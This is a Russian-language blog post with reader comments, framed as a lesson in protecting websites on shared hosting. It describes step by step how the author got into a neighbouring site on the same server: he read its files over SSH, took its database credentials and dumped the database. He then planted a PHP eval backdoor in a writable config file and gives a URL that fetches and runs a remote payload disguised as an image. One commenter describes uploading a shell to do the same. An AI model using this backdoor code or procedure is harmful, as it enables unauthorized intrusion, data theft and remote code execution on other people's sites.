После того, как я коснулся вопросов защиты и взлома непосредственно своими руками – так сказать изнутри процесса – решил не останавливаться на достигнутом, т.к. тема меня сильно заинтересовала.
В прошлой статье Защита сайта от взлома я затронул только один из методов (которым сам и воспользовался) – это SQL иньекция. Сегодня решил “пощупать” с другой стороны. (кстати мои советы упомянутые в прошлой статье – ой как оказались полезными бы при защите сайта сегодняшнего поста).
Данная статья ИМХО будет интересна всем тем, кто берёт хостинг с соседями – т.е. всем кто покупает обычный хостинг на серваках, а не сервак целеком (как с виртуальными серверами дела обстоят – не знаю).
Лично я после всех своих экспериментов выдохнул с облегчением – “как же хорошо что у меня дедик !”.
На этот раз буду краток и сухо приведу сам эксперимент по взлому:
1. На одном из своих хостингов посмотрел структуру папок /www/mysite/www/htdocs/ (я посмотрел через выдачу phpinfo() – хотя способов думаю туча, вроде даже в инициализационном письме от хостера это прописано )
2. Простым ping запросом определяю реальный IP сервака ping mysite.ru XX.XX.XX.XX
3. На сайте 2ip.ru определяю “соседей” – сайты на определенном IP (айпишник с п.2) – оказалось 190 соседей !!!
4. Беру за цель первого же соседа – сайт site.ru (реальные названия сайтов и всех данных я решил изменить 🙂 т.к. ломаю не с целю наживы – а с целью прочувствовать как нужно защищать)
5. Захожу ssh к себе на хостинг и конечно же ожидая облом пробую сd /www/site/www/htdocs/ – !!!! и к величайшему своему удивлению попадаю по месту назначения !
6. Далее пробегаюсь по php, inc и подобным – сразу же вытаскиваю доступ к БД – имя, юзер, пасс. – выгружаю дампером БД к себе (просто так – на всякий случай – ещё не смотрел даже чё там).
7. Прав на создание, модификацию конечно же не имею, поэтому бегаю по всей структуре в поисках заведомых 777 или 666 с “правильным” овнером. Толи мне так фортануло, толи действительно всё так запущено – проблем с поиском такого файла у меня не возникло. Оказался конфигурационный файл – причем подключаемый из php доступного уже с браузера.
8. ВСЁ ! дописываем в него if (isset($_REQUEST[“e”])) eval(stripslashes($_REQUEST[“e”])); и это в принципе финальная точка
в проверяем http://site.ru/file.php?e=phpinfo();
ну и как логическое завершение
http://site.ru/file.php?e=eval(file_get_contents(‘http://бла бла бла.ru/page.jpg’));
где page.jpg конечно же не картинка 😉
морда ломаемого сайта PR 3, ТИЦ 550 наличие в каталогах Яндекс, Рамблер, Апорт, Дмоз, более 1к страниц в Гугле, более 5к страниц в Яше
и чё с тобой делать то ? ….
мля – даже страшно такие сайты ломать … 😉
Вот сижу и думаю – ваяешь, продвигаешь, развиваешь – в общем въёбываешь по полной чтоб таких показателей добиться – а тут хуякс и готово. И остаётся только надеяться на порядочность хакера и на своевременность бэкапов.
Почти как в рекламе получилось “Вы достаточно защитили свой сайт ? Вы сделали полный бэкап файлов и БД ? нет ?! тогда я иду к Вам!” 🙂
И ещё не добро так рифмуется “В нашем серве поселился замечательный сосед“.
Статья как Вы надеюсь поняли сделана не для взлома, а исключительно чтобы Вы поняли от чего и как нужно защищаться.
Возможно будет ещё статейка в продолжение, т.к. например не раскрыта тема каким образом упускаются пароли от FTP (сам на пробу с год назад покупал доступ от взломанного сайта – тогда мне был предоставлен FTP доступ).
На сей раз всё описанное в статье придумал и реализовал сам, так что “полезных” ссылок в данном материале не будет.
P.S.
Я всё так же предлагаю свои услуги по аудиту информационной безопасности Вашего сайта.
19 комментариев на «“Защита сайта от взлома. Продолжение.”»
Что за хостинг был?
Давайте без деталей – говорю же, не для взлома статья написана. А для того, чтобы задуматься о защите ИМХО достаточно предоставленного материала.
НА каком движке сайт?
несомненно очень Важное замечание ! (забыл я это важнейший момент написать)
Сайт в этом примере на самописном движке, так что конкретных современных CMS думаю могут немного расслабиться – таких дыр там быть не должно.
(особенно платные NetCat, Bitrix, и т.д.)
Уфф – можно выдохнуть, оказалось не всё так плохо на хостингах – сам вебмастер сайта просто оплошность совершил и выставил права g+r o+r папки htdocs.
Попытки таким же макаром прочесть другие сайты не принесли успеха.
Интересно почитать. Размещу на http://promobel.ru
хм, интересный пример. будет теперь о чем серьезно задуматься, пока что тьфу-тьфу, все ок, но кто знает..
Спасибо за мануал, теперь сделаем все, чтобы избавиться от дыр в безопасности!
Мдя. Всегда, считал, что лучшая защита для сайтов – длинные пароли. А вот, что оказываеться можно с помощью пхп творить. Статейка очень понравилась.
Очень интересная методика! Спасибо!
давно пользуюсь таким макаром)
Побежал сразу же проверять права на все папки и файлы. Очень ценный пост!
Не все дешевые тарифы дают ssh, так что я делаю немного по-другому) заливаю к себе шелл, и продолжаю также как написано в посте)
Maxi – хорошее решение 🙂
все гениальное просто ! 🙂
полезная информация=))
полезная информация=))
надеюсь она еще кому нибудь полезна будет=)
да написали бы что делать для защиты раскрученного проекта!!!вот тиц уже 200 что то страху нагнали денег ухнул.А тут раз и в гомно
Хорошо что я часто делаю резервную копию сайта, а резервную копию базы данных, чуть ли не каждый день качаю.
Автору спасибо за статью, надо дыры поискать в движке.
Беками разве что пробовать защищаться, а то опасно это все довольно таки очень. Ну или сильно свой сайт не святить, тогда все норм будет.